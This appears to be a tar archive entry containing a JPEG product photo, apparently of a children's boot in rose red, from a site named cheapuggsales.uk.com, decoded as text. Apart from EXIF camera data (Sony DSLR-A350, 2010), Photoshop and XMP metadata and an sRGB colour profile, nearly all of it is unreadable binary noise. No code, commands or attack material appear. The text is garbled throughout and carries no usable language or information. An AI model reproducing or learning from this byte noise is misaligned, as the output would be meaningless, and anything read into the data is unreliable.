m#YY~ac/ɇwC"!=gvޅ:NəψL[u2}]Y1njc;wΙ=ۭnϟmU&Gfs0kuU25߉]i6`þ\G6 ޑ5~g9ˎU#-sƚB/7]@1ʵ ʥ2t,C ~ѹR$1gO@]tQH#^}4EUج 5 HR@f<5EyӷQoے' xL{A(`Gu [HD=~Sr* LЭ];dE=Amrz,DJΣj/`drʥIRV#?TPe8 @꟪ )"f8v~lm mA2B5״iuysu$_ݑZZyz .&4$O+S6UV`_h@`ڂ;V09vۯkLM5\8I:A4ulc !q&F"D7} 9E0L&2xr9LݬF[h-InDtk>|.R_)<[W>Xa#R{u{b;+-6xAE4) s'=?Oߛ;9 @PM@P( @qN* Vb1~Ha4Tyka0z'\=/A~Eozéq)+sAH+oizyвE0~oҶ&v n ]Q2i08}WTT>aJ t'L}uHnN,;>-/ (Ǵ%L) ڄ_BrA"I4xvU`nl &UuhJl¤" }x{6Ъٝ湘kq&V%ahG~U5%t;jx*5x$ '@ ʮtI1_3{ZJ[LFi0Gsˎ]%=G+1[̡;-c9Vr]xWF @P(?M@P( @P( z1̀ }>qzY1?yNcwlM "noH( {ިddBaFP\qXMOsg*m5WșB}EiY yEl Q$OFC&? KnE)gN&y{V1Zz֗bW 5!iNMBYd}16M\9]Ha~ 6iͭӎI*Չ--x]Pl ,FB%a|աvr8E4>|^Z'[Ԃgb5\}̊qxT#RfI2OH2$go$eTG;'0݋QRt 'S‚v$xq%_~X_s:|B2ˏvp'J}m6D%غh K >cʫTum'1m0ߝgS/uLzv C7!a0Áo\ax{cT @PM@P( @P( `ǼHp ۷{&ܜJ.s rX+公po#D~wT`cAn*'mi3ʣʵk1fKD1agJTo3ԙ[MOY!qAi#/.>X4v1V'!IQ2_+4Z`?NڞZ/^Q06B%f/Sʢ:FŊԈr .=].PI{&*45 it.#SSL (*^ELA'57}< LEF_ ¢dr\=c^P@@#nfjjX @8`'~nz{c,uijĀg;"ybbPǔAh )ϦY8xu?Gٺ_{O?5=SlvNuf'(ӓ4V,'ENZ39>^o?[oHڱɺ8-bO۳Lmv}۝sMA˰[E@(mRKfG}Fw67w 7:k~W~GGz16 LJyK3;+wcTzvc$EemqtpҊ*@ @PM@P( @P( ДmH^.@Ʌ Wˑ~}yGtui}<|UUUMǣq {<եW& >VuijӞ9DcNH'q K-HC<%mҪ| I4# c8? 0c !2xAp`%IDqcVFx0%UEXh&$s]Ui]C..F9f b ϕI!I`Fmpx ݊ăbH ı 7Qm=-~Z3Uxk8l >(Tˑdlfj[fb>v:>kq'@ `cz\:|FfKvʄ26& ު~tαl[LvL츶rftQ~/ HCg , A4jY3R,ӠUY*no HVNǘͅd[hMCkըV[odl_] 6Ο[TRSo j8i$ihq_z0KOhǥzOzVR3XG?qv}l2dbV$c,հj7n+{oϜ>Lôu{vo283rTB&"]ݤqUe?`$W_)O]%q3dTKnnD -|y8O2%֌J0eے=;_Oo:_J'Q:Vt=ulX %;O6?8O5͛,ng|ꋵVɍ˅).K7XWп+wl:&Fap" sŲVǼŽ68_ù]! ܯO%oWO--A@Յ|X-ӗev;'8xڳ >/?0}XǼ_QޑMdI.0 s-ȿ_H׷~θXaW?,2OgsLjl[$-""-H%?排+0uY(e %|= j6|l| sϑUTZf-s^ ϧ^ kj@~QD*P( @P( @P( M@P( @P( @P( R] PP( @P( @P( @P( M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @cheapuggsales.uk.com/images/20/131474634434.jpg0000777000000000000000000056130511633550305017227 0ustar rootrootJFIFExifII*   (12|itSONY DSCSONY DSLR-A350Adobe Photoshop CS Windows2010:12:30 15:19:27PrintIM03004 ' ''''^'''' "'d0221 2 : BJ  R@Z01004  d 2010:10:20 04:54:332010:10:20 04:54:33d d^ R980100 (HHJFIFHH Adobe_CMAdobed            x" ?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?TI%)$IHt> H w@n :{^F$ zgRqFW3Ӿtڟ]\bC*CI;]U64 7ow-SuưТ.+P]a_VAޞ[齶5Iis5#Nu(܃)c|L0n}?3'DYfD{v=wږR>Obz8(nlgl= c̃c[:D?85+t0] br@s~[7ؖ8A}mms\$M~MOhM&5$I)IIOTI%)$IJ^zwӈk_[MVyǦ׹"]s{ӵջw~CgQ/Wv,t+lѣAsXw8?c-><Ѭ)Ά1$}o\`hkoƭF?Q'*sP+rⅱzn=s^Pzұz8|1xygqm&fzdUY>F"߈#гGL8f{-p~FFt?\z|k\lK/$H9I$R'I%?TI%)$IJ^[4r^޻O1潦 \_kWڽIy' !K Ns"*+ױn{ k ZRgs/qNs#aVXϦ[YqÄ*.3eNY?Z΅S2k&v;-UԆIh|+zOYC5⑖Upk&ߥZ}muth˿U01cwz+x;0DhFnΠ^wRsQظ>Xl?iXSN\1>w}[l"]U$8 X]SF[~yT6^]{Îױ˜ e]LѺv^H;3QM6 5cRAbŘwϙq"kSb~U:XoX#fg.S+g?>9Vڂ[q3F?ꑮGkM03rpm;{OKՕ]#/Qc\kc>~n@P(}"}/O$GP⏪?I$I$TI%)$IJ^l@=ϱ^nz;kq^漓bt.ԯ7 -Kvzm=42x6:9=?O~>C,q aG{b~t*Ǵ>憴ۿXfڝsI=@#Fa.*;. o/ѐ-hҲz4>cne %}:목51=cbvU`{gOMe1"L␡/_Em~\oS{ۗѨՊd{nEg˹`n=P^#0Cfr斆Wc- k_[F__K:H/lK+54ƶ>=OO%nW\/Mnhtܱ/rXRյΑ۱~X?_'e=˶(9׻N~j嬢w .pXS&4^}T*Rɳ ZǴI,^~5yL\6[Wkw5]MV<ɯL+Nj?O#t>ݗ4 -Zk8RI6mI$JTI%)$IJ^w u|lie&Iv6._UaX:< Fr-Ӱ%Ca}}X]e=@̯>;JƇ6~z}",^UE swmo }{L9ޝQ g"d\t d} ;fzJiӤ [ ḹ]hg  ,$ajSַ` QO*)sZA%Ǚ:UJiĖ -Kni-1H N>[{h?( CcZs*CUجUcw1vOsyRH@W!>SOL~e3[Qz.#c>kx6$vRI$TI%)$IO3ql̑utC` -O>KxUs|FRH']8r D} Oq[k߼$o# &V;H@&I"86no]{p!cH= 7 I$vss>mih[`{AwZNdz5Uq-s6MhcfA c _&)Bx^zeX=?އf~1'c~a⏝ޱe3h\>^zw&$Lh.9 Y{okaշOe7?ծk_ΝMYroVrTa*I$CTI%)$IN0HLwyz7ly>aSD(Gkg"k|Ҳk}aeN ys }]oXpzulknmv iskC}q܄$0}Z6 .koܠ[][5o-mRϥ[=ounE-Y^ÿ֮^ʷ>-KrjȤU}rKK\u$0`9rACbїc wֺKe @ѩ}{v>+{.mH\lfsv O65f\ql m8JRO4 55;I$Tʩ$ꤗʩ$.;,0˚XW?0һɯRMp<G/%0{?$Sj[~?Pzy"7cr_^_ߋ_U?Ҝa}M~ y7Pmۼ0w/H{W RZWcf? ]c<#'z<~Ԇ?u\UYnC3vܾI7_OPֆwR_*c~I|JPhotoshop 3.08BIMxSONY DSC8BIM%&Ɖֈ/+A8BIM8BIM&?8BIM 8BIM8BIM 8BIM 8BIM' 8BIMH/fflff/ff2Z5-8BIMp8BIM@@8BIM8BIMu kids Classic Short Rose Red01_04nullboundsObjcRct1Top longLeftlongBtomlongRghtlongslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenum ESliceOrigin autoGeneratedTypeenum ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT horzAlignenumESliceHorzAligndefault vertAlignenumESliceVertAligndefault bgColorTypeenumESliceBGColorTypeNone topOutsetlong leftOutsetlong bottomOutsetlong rightOutsetlong8BIM( ?8BIM8BIM xJFIFHH Adobe_CMAdobed            x" ?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?TI%)$IHt> H w@n :{^F$ zgRqFW3Ӿtڟ]\bC*CI;]U64 7ow-SuưТ.+P]a_VAޞ[齶5Iis5#Nu(܃)c|L0n}?3'DYfD{v=wږR>Obz8(nlgl= c̃c[:D?85+t0] br@s~[7ؖ8A}mms\$M~MOhM&5$I)IIOTI%)$IJ^zwӈk_[MVyǦ׹"]s{ӵջw~CgQ/Wv,t+lѣAsXw8?c-><Ѭ)Ά1$}o\`hkoƭF?Q'*sP+rⅱzn=s^Pzұz8|1xygqm&fzdUY>F"߈#гGL8f{-p~FFt?\z|k\lK/$H9I$R'I%?TI%)$IJ^[4r^޻O1潦 \_kWڽIy' !K Ns"*+ױn{ k ZRgs/qNs#aVXϦ[YqÄ*.3eNY?Z΅S2k&v;-UԆIh|+zOYC5⑖Upk&ߥZ}muth˿U01cwz+x;0DhFnΠ^wRsQظ>Xl?iXSN\1>w}[l"]U$8 X]SF[~yT6^]{Îױ˜ e]LѺv^H;3QM6 5cRAbŘwϙq"kSb~U:XoX#fg.S+g?>9Vڂ[q3F?ꑮGkM03rpm;{OKՕ]#/Qc\kc>~n@P(}"}/O$GP⏪?I$I$TI%)$IJ^l@=ϱ^nz;kq^漓bt.ԯ7 -Kvzm=42x6:9=?O~>C,q aG{b~t*Ǵ>憴ۿXfڝsI=@#Fa.*;. o/ѐ-hҲz4>cne %}:목51=cbvU`{gOMe1"L␡/_Em~\oS{ۗѨՊd{nEg˹`n=P^#0Cfr斆Wc- k_[F__K:H/lK+54ƶ>=OO%nW\/Mnhtܱ/rXRյΑ۱~X?_'e=˶(9׻N~j嬢w .pXS&4^}T*Rɳ ZǴI,^~5yL\6[Wkw5]MV<ɯL+Nj?O#t>ݗ4 -Zk8RI6mI$JTI%)$IJ^w u|lie&Iv6._UaX:< Fr-Ӱ%Ca}}X]e=@̯>;JƇ6~z}",^UE swmo }{L9ޝQ g"d\t d} ;fzJiӤ [ ḹ]hg  ,$ajSַ` QO*)sZA%Ǚ:UJiĖ -Kni-1H N>[{h?( CcZs*CUجUcw1vOsyRH@W!>SOL~e3[Qz.#c>kx6$vRI$TI%)$IO3ql̑utC` -O>KxUs|FRH']8r D} Oq[k߼$o# &V;H@&I"86no]{p!cH= 7 I$vss>mih[`{AwZNdz5Uq-s6MhcfA c _&)Bx^zeX=?އf~1'c~a⏝ޱe3h\>^zw&$Lh.9 Y{okaշOe7?ծk_ΝMYroVrTa*I$CTI%)$IN0HLwyz7ly>aSD(Gkg"k|Ҳk}aeN ys }]oXpzulknmv iskC}q܄$0}Z6 .koܠ[][5o-mRϥ[=ounE-Y^ÿ֮^ʷ>-KrjȤU}rKK\u$0`9rACbїc wֺKe @ѩ}{v>+{.mH\lfsv O65f\ql m8JRO4 55;I$Tʩ$ꤗʩ$.;,0˚XW?0һɯRMp<G/%0{?$Sj[~?Pzy"7cr_^_ߋ_U?Ҝa}M~ y7Pmۼ0w/H{W RZWcf? ]c<#'z<~Ԇ?u\UYnC3vܾI7_OPֆwR_*c~I|J8BIM!SAdobe PhotoshopAdobe Photoshop CS8BIMhttp://ns.adobe.com/xap/1.0/ 1/100 200/10 1 0221 2010-10-20T04:54:33+08:00 2010-10-20T04:54:33+08:00 8/1 237/100 0/10 497/100 2 0 350/10 0100 1 640 480 3 1 0 1 0 52 0 2 0 0 100 False 0 2 False False SONY DSLR-A350 1 150/1 150/1 2 2 2010-10-20T04:54:33+08:00 2010-12-30T15:19:27+08:00 2010-12-30T15:19:27+08:00 Adobe Photoshop CS Windows adobe:docid:photoshop:82a9665e-3599-11df-a669-9752fc448d80 image/jpeg SONY DSC XICC_PROFILE HLinomntrRGB XYZ  1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmddvuedLview$lumimeas $tech0 rTRC< gTRC< bTRC< textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ QXYZ XYZ o8XYZ bXYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view_. \XYZ L VPWmeassig CRT curv #(-27;@EJOTY^chmrw| %+28>ELRY`gnu| &/8AKT]gqz !-8COZfr~ -;HUcq~ +:IXgw'7HYj{+=Oat 2FZn  % : O d y  ' = T j " 9 Q i  * C \ u & @ Z t .Id %A^z &Ca~1Om&Ed#Cc'Ij4Vx&IlAe@e Ek*Qw;c*R{Gp@j>i  A l !!H!u!!!"'"U"""# #8#f###$$M$|$$% %8%h%%%&'&W&&&''I'z''( (?(q(())8)k))**5*h**++6+i++,,9,n,,- -A-v--..L.../$/Z///050l0011J1112*2c223 3F3334+4e4455M555676r667$7`7788P8899B999:6:t::;-;k;;<' >`>>?!?a??@#@d@@A)AjAAB0BrBBC:C}CDDGDDEEUEEF"FgFFG5G{GHHKHHIIcIIJ7J}JK KSKKL*LrLMMJMMN%NnNOOIOOP'PqPQQPQQR1R|RSS_SSTBTTU(UuUVV\VVWDWWX/X}XYYiYZZVZZ[E[[\5\\]']x]^^l^__a_``W``aOaabIbbcCccd@dde=eef=ffg=ggh?hhiCiijHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{|!||}A}~~b~#G k͂0WGrׇ;iΉ3dʋ0cʍ1fΏ6n֑?zM _ɖ4 uL$h՛BdҞ@iءG&vVǥ8nRĩ7u\ЭD-u`ֲK³8%yhYѹJº;.! zpg_XQKFAǿ=ȼ:ɹ8ʷ6˶5̵5͵6ζ7ϸ9к<Ѿ?DINU\dlvۀ܊ݖޢ)߯6DScs 2F[p(@Xr4Pm8Ww)KmAdobed@P     u!"1A2# QBa$3Rqb%C&4r 5'S6DTsEF7Gc(UVWdte)8fu*9:HIJXYZghijvwxyzm!1"AQ2aqB#Rb3 $Cr4%ScD&5T6Ed' sFtUeuV7)(GWf8vgwHXhx9IYiy*:JZjz ?ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺXˏ Bl~srx>׺ /~}u kN_Ͽu@a?[~`zWNlI?Ouy쿁c#ߺ\V(&{^ .C.Hk\j'O7ߺ\²Pد&O~f,x XO~{Ό"1%}u3(M,??k{^뙔(m?O~r?'?{^'u{{^׺u{{^׺u{>)HSn84%D(Y$(<{SJ<⊩5@dY$:n@t&QM<:[Yc14kXȞM@&=BߟP}:MƦ&+RLȣҜ}WsM B%j\I|mdM uDQB\-^3. Q-svUk?ߌT0NndVHTJh#y#sƱ _Ϳ6鵌רB4&AbO&}Jc,dpDuȒCGվīC^׌- t컢4!V^X8d=Z z9u6D>ܰ,W}éW dD33Xso*~^&}A(*2 rl,MשN3:+f*!y1Q;H9djSX~NJt }< ̚kPb-a]1*wT`lL}JՂ5^I#^SJ>YFFM >6emLG O{b)N<rXDdf}=ī .j?O.xwM6 =<^2RȲ11k\Oz>=|OJ@-V 1ڍKa*Q?cu c 5sqozfCξ"CT}>3TY!V#h6 l3 ?g/KZ4B2zZdDDK"*MA8QH>ZWx.Z5ɯ /ޢ=qk0azgH 3eM{Z/1ÇN U AI9-M"#Xo@F{U~޵Gp먲dyJJ:I,QYZjk jQPө2}-2)U&\P~AwY;@2P垝hK֦t*ZeJt*@( "HphڎC Q|z=f(I9beEheeHbG[~}W_9S'|>Xz0s,ӵ]v2Q#;L#k 2ǒ{t%[֢h?SdEXŠӵî{obGWSQ%sENCO,R}+4*"(]no{ n~T`S29P 5ET\2LQ3 }7tߠzkWS6? :Oش(>PjHdP59SU ,4V skּtsXBx#gA"ī[<1_.APE㟭u^׺苂=tY+.-q~-{2@=5|($E߽q>2Tec+ %~cSEFz2yHc+ V#}K=1@_=nYwZC]ᎿTjJH>~>GnU\W\O^M1tVDTdZKzH!ca@#"8Sdݦ7jgMG.m5`[xَb,oz/ZQZ1>-/<8b3IwjPP/ 1##]UPC+ٴTyOXPXBг1 :W0Hh jsHѣ^y,ZzMhf90Ӣ5F?AP xhfLEr?Fno}H97+M%;C)j̅Ō$r?2M:Bcdb(GB.tbU~7R"ݺY}u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~`"s ^׺u{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺA] T!h"KT~ߍ)Jׅ5LaftH3/S1abp9>FhGrJ=1 ޞ*t, X'*jZ ҇d0 *7i裸E b?UWUjܕ<󔬦y,G?hjc䢼mrZ~._zK淬(D!_w$u dGƅakX?tHoPj?!9]<6JwZ)Q1*c& f6h1BWzO,ȴ#𡯗 *OۊZdXS(EH(%DL<4X {TP>^ NA7-J|?o2xsW/js&$Z5n# SF,lM؁T1xGVOYgc!)W:Io5QM>RߕZjݪ yO W5{{_~v55rLRAoBV6kΏ/68s~])X_P,QQuJB8b B܃nMytۖƑLПOפOr,Eii煠Q 2TJi}OcU]D$h_-*9!>=ӊ3c:gCiX6?G ~?``2FOOf>0E]R(Y…VH۪T$}znEu <SSO$0TT?HE.ݭb +|_!+O?ϦۖR&H;oeF,#vQow ,)A.ᦖk.ߕ,QV&y%,udkA^>I%TsOpµOُ>]05DsQҖ&K#8/Bu2Op ;[-JAC4 $#F*Jx$N&~gU~T~~:5E[d*jjMe?kp, E;_,_.K4lhS9]Ǒ]e0^uRTVgrSPkJQ&-cJm93I.4ϫ'qTjXd2 28J1VcǢ^}u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~pqu{^׺uߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺMLtYJ)ʜ 7VGErV b,UTTG"{yV%H>҄B8B@XPs09MM4nͬiFFmOc`+Jd44z](@T>'LY\R*ԟ$rʪO#Rmy7mf4*VpO!G\x1jXzV`sS:O-G@YN?ӟn*rABqOV:|'tS$uh=!"c6S;jZgj%&> )j ?><45:Ih7WE]H׽u~7>hEĚ\oÃ=YKA\H8$fA\rěAoix?ӣc|ϑW[a$^U8Kn[X_mpWK^6=tT31h pD8~+ҜǦ*jy$Ԫ*^ED~LEeRjOD%BX kDx D2uH \\Y)qk_˦Aǁy꣎e)<$`hee*n4SLWIbBi %֖'1ϪJLi N3i}oǶ4* oJO8c0DJVV(ZXt&_mMiO3i\6??/zv7SLQcNՕ P,j"+44@orr0kJZ,bZySJWTBSpΏB1ʃ7eXW?oW:OG˥'ZK\4EK$T)Tw-ExDE#MЫ$`o2?t^L P=PT0kz} @\<ԜEn< $ۧ+EM5rTtN놞6Ho b?Bxbb4aL&Q{l}PH&Sϑ#QE4PK5+W]'MG9HQN>$gǗ2ENk$8fT(VZgx1K{w,u;i?/(zk_ÇڛŸShqu-砦SJЙLmf {z0*p5$gK22>~tŽwGOQ(hL QW$U+!x՘DR_=@$WעP"̟ˏA_hj15Y|+δԲpii|@b{!T%2j Q8ti^Y=AjiZ?. 4d4>3СWJQd02 tUwHjv@ͪ kHj1JIՔnQϑ]e$Te5M实w2ז=iױ#E5ǟN<2V\|_1>CfSj s-f1M.ZkӈޤCG7e<]ıёOU:;{{^׺u{{^׺u{{^׺u{{^׺u{{^׺O~bu{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^+yc*i]uQ/]cv {m!έS%[7ݏ{V48ܵ1r42O[ZlV:VyjjHRH䨢#~msyO/{mdpb(MW|qj*cm*kq'/9>J >YN <1>DԜu_ݝ?W>b_w~UseUwKW$٭#p˜LE>t?.[-oq=]Q8I5@3Ncz}r;~r6#uTeNA 4JtUȩN%]`3OWʾd407Mh*EiS@iq/7Oym|_nT tx(JJVju]|ASU_E+|~cRqh mBUEAtv# XYU̦7=>R8i Syj"DJK , e%jO*j9+|ҋ;* TMQMAKՑG Դ>Qo)$rۗm ݐʑqϋy1VHcҷ#{m+#+R.6I"$R#Hϱ0:5,ovJhN~=+V=gO @>|M)xc(u.݁=h$0%Tѭ lreus,rCM 6IJU:vxvՑ+[(x#5c1ɍd\$O+GC4"hT4Rw e*@A=؀bdԣ5?k?^׽u~{ߺQ飬Auqه* *)*ASʾTJ#WSKUMI֑d', d>d#ՙ?` Z"BDFz+38fu왩 Q%#<SҐ%3jHNoL >VlJ)t9S[~QϦ*g %A X۰,W65&!<~|=z+\v K-/켊6C >E0r8Ptn|lj>8mKkWpi>.Z(UfeGƲ~lgjTf-fݳR愞:N~c1cx|~n4ll%6?KM޾Q 03)KFYn74'0<44={T{p>'')jVFXuY" 4Hx ,O*6]Ԧ1"hB~惉?*~tz//Wxqo_mJ+nJd!EH' iLzm'=+h 8 | 6>qXvѿb=٘\VÖH[/MW}!UT5 SEk:b/B*(AQ^j{Y>&%{V >`W%]ΕgmIe]3b&T6~m3i{s`=ȩ*OP1ƞcR$}F*A?GS]wT=Ϸ'Y,u54 K_ŭ=m5\M!~k<W5Eh<, ™p9x|zۖvB]/ (dž CʴEP]co*0Wf:M,I啈EWdzv'ea1\TGCCMG瑋(cMExk{{>f̌Xt׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^<{Gu[?^o~ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^PHkÀO}uXSk{3lauɵ4]UoA7יnꊯYI%=DxTcfQBd:*ip)Ckl=Yr#!_ŬAW=h&jbwXn=UW[qj* \vw922G;pILȲKzkvf*uwqP`>ߗY{s.EAeZz^";-#rv;+>ki啨ەra= \V7I )NuJ41*&4QSLU}q>n{j EϠ)*bV䨂(AeA#Q ӆ CyZzcBdeiaRPTg8gSr[=k1.O3H<$3Uϔ"2UtQJQ,>k>\8Enªia^@i&.jh!QTԑJcclܖu(ȧ 9odV+@ q\?*=E&svg$uvpiC.Ge*qZ☼POm,P%$H^?e=:7m[Y)t2cQW[FDm>nԻk7ĠȈg O$Tf 9#A>(̂ |?*$8C+A_*Ngz2ݡ[-Y)1xl̓21RCUI'o-Bn,l Hn:f2{ ZXٚA RYA408ӇU+oku{;ol JGUm,2ES_ 隋sѪKNcPS]"fIbS>^CDMa;cZ&BpR2(N}²;yv#Jd쾾fY o6+0J4y6{՞JBiiuoܯ;ՄDqjQƜWӥsأ }>أi۟N)O%+ӰuLk40 >S=[lr[`F\Th~F}+^;h1"-3mM@\=Po#ON: g}EP7$֑D$HO'>ΔKg(}eo):m8N?wm]E_6j06ni$dJUSRђ7X%8D15rA$uoݹT}l%<0ILTȡLH {Y@8BIWg׽u~{ߺ^׽uq{zC=X3=xzU4u="+⫌ bJ<^ҡ5fpS++¼}:Mb5sӢ#˛#j%ب(<SƝ+2#v7d]^'nMSv0Ɋ:ݱN™IJIr=_`AMtۇeW'!T 4 ?>^{6}i%\4fW뮛t5]R{3vn]K9]ִxm;d%m֣hU 2G`}GMOi \i.izwUomxrYe×qSZkΣ>rlB.^nUռL]TCBSGGWOSL Q>pU=|YѶ #: 5s_X0]ظK'۟3Ge*,zh*xVs,v-O mgU=b@,uujU*ߝE(ܞ%kxCƄ׋ dhF6`r$Ϻ2)ڦ?5Qr҂aLUfGJśtb Oϡ%L6i cOp 13,. ʴ@dZWJ"hQXQOS2'Y11baGIDM0_:}*+1^vnm͚Æ){&D`J)?j*`HŹA#2i9-LjRr:$ Hx8un;YM}W=iΉURn$d(qS~Jbj3ۇ7$jm++7'DI 7 b{ * 'P}E:6|@k;un|lT3nݻF$)jU80heP$8 ,GX54Ύ=Ӥw{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{.,x?_~`c??}uߺ^׽u~{ߺ^׽u~{ߺ^׽u>׺خs~I׽u~{ߺ^׽t쭑λ}sHq[gn]j5L_@{v |ᘂB8G[lm-'Eu9e!xïNFvkap9lm ˊegz)>#/Ӥ EY&6V5 ٭7;cC?rN.u%Ŷ<̻uPViRA408פ­5<.%R @#Xq~=8W! 5@G*/p@?>YtYZjPK$$HK~ Y4k]B!jƠ3J&d{v u*؀zVOR?fF>MF1zJ$P1¿`)_sXfEJYdYUijGH8yâz3_OZ r}3ECB4EiVGb Z2ŕ&ݥ'_kzҩ@Q7p_ωCRT쾿VywǠ.HGuEH{k hdp 3+XpS7qƹ%*ZzȼՕu> YMI&0zGU圱e4p4#>_m;@VLPҚkA]/s+G11c%JZ9^u@ZC 0 PH#Hka"1A@<"xN}II%54fbA_Dd2H̴;ݝePUG>b**?oP,I]zHPEA&<]0aֺl-{K;D1# ~-T֣iٰk *iP+T=&'?@IUtBLAOB.=猪 yWˇO^BjhjA~b\:2jgDIbV*æQ "3A,s*ִG~߳*G⹮Gק<'%9}GLZ@=zEnOMHwP*O?cmuP4LW||*iOU8iwgG*&pj-a{=t‡Fr熨 }  }ڮ.{{^׺u{{^׺^ `Jijk q ʕgpc+*eUtK"4vY,, AN`PVr~F#4Ǭ*_KH=Q)5R]8ރFq/C,j RЊy똱ՈK)!#Ϻaƺs/., 2ry`=5*4&IVErK2,TI -*@cS‡4?G#K8oZ~`DuP]V|b?-I WqQOӧhMkOC>G뜬g6zdILV7M5\ btK#-÷$D 4+seE]_Ÿ9 Et:*?ܬ8@K upsvUMqD cѳ{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{ .=u H׺ߺ^׽u~{ߺ^׽u~{ߺ^׽u׺_׺{{^׺u{{^7G|oM[Fژ{;;f=^ &CzZeQHRZYjgPetmʹHRDZQ#Z{I*:ϯcw?l`H}I"Fm> *CDIR"jU+P ` J>^LGNPgtQ(V3S:&~΃ѥ>(,Q3_S .M!Ѝ'=Fdֽdxq>^G>~U=h:ѩ:RʑG`8jHc jSȎh>;E8PV$|.*&H&tЂP&̑).h#CǯKC!4'I z `:NTO3$WI >WtA[7?e<?Um'O,{'bemS-;i >{R%+vjR(ң5kOʿhίrE"|Ri y`>gWdd$td%THyK͟\x24ȍBКBHh(xWW׻݂ys-e*VQMy*V&e7,[c Hp(u )FN(n&bL!X8=μF*'$TZ#PΕf}HPRRXbE}*kN4MJGs5$piZЎ+йQNB:Z4y=*t Kj#C6{6*0PkL4$21Ad OCd@p#ML?vM#HήeB>c5ATc^=,ڙFܔ[v xi?6' 5)ĞZcp3 GF_%\l@B6[WIu-tщZ4i>CB$.Yhjh(f`Qǯ'&sA "%{v5"HAd=_,X7{R$M*c[Km^?8DecEi.wWývM8zivtrG&*!q.O7d{#xjLE^8ҕ:5eAK{D1(g"SPh@TdjS,@}ZtAiE)AN\9 ֝%~.< :t2j͏bb}L"̫cbcNMF~]Jr 9V_^$Q,BrDWHb&F Hoġ,5?޴R:G!%[IY"íOrzb.DBMA.)/q eRj=qʌCiHD|>DN!:AO?H'Zh>U G`00 U9RϤ*+E?}+zvABMZp~=ca9G++ȍ}FH,Vzo"`rihh ?f GtךTВG=dLT2/$@Gi=]L*G#~Β[#fzzW44#=}d37ġס6Yk!6tR4}6p_][`M̃6z7>U׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u}ߺPs{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽uֳ𥟋?&`[w[u_6GqMKj 5=;w(Љ )gbxeHR:ԅ O (+ì#U)iŪ8 woWq !t%J(pMUT}~jJgDieFv8R DZFq{l'z= өU$:5P@SS)S5cDB*J?d~T䱿5h5sSEss DUIElAoXxipߏu-P889Q6%B8="25! hU/NͫOhe61zWT$g:H >N!ǥV E+8~\i:?MMԍdFERSPV`#pD8R4?6aAԥ[|wn 34Z_L*p1M@ tW6mK3ч\4T:z:4a ߆7VhAH?ýo18e[=Dd~֝ ֎'8IP?JcƓbjctN5-~~'$;RT1H$7bqo3Udt|GLH7T >~}=RUD‰4{yOHөH'ϵzNY^-Šr:v#6F"DFgdu,@si,.UQ37G- "I::`}sO`ڻ`S/T㪶UQ@G%t>H BCN8U6!%`J$uP [}؆4A :UaՅI:?,"$7ART@p͎P҄ ҝ 4bZHժTq>F: b%Ͻ`)EjfPEkSC^ץƯNt&Lm?#)C:WǯZxŤȎz0/eSq?qqn>œ58$}mE#Rvx|]; e\ToC*p'tWSU괥53QLSIoLi- E0 }\XuuO8xH *N<ǝ)%jQXږ ,ͮHݽ2mDZx-ʕ>_oZY/-"R!3_%L]"Q :MW뮫kOHkD{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^yl?W~=uߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~ߕ)񷻺3$gڐj\~6cS-&Z($_܌xu>;@ z Wχ}xi,)qkp*M -W_*|6Sdv&{inj |)&oڙCQLPINҝmf;nW]_QMuMpr+Ec֦tZZ_&W3E$k4FcR(4,2[rT'SOQe*Ht3*#d 5Iէcνdn j*Ϊ*}zNd!Z#kAò"#u؝mEA?扤LU=~tANFR.0,bTGtZaɯ< N+>_%@fFSL%b2=@?04\kDtfYQ1 Ƣh8?sn._/q4t=7޵5fsy=X<ԃ=n!f$z.ktڹfkU/-jjQR"IbAdoEZF.b5bET{֥4M8U6ܴScVb/1TC4SGы}}̅|UOύ xH090Fji㎌ڬeZtˎ4u5 g4JО~^Kb(EW$ x6V[W/,I.xSOEJ{7QNغ)h@I 3![v(щ̣X 6ż6ion%N ЪL%zZoTlr%<cm@юC> Kȿ )ԟZuUfIt5iPqkRBHᔖK 4 #眜{B""FHVB#ZHZ,59:C[j#'4y&,R0bZVqBxW {$9H 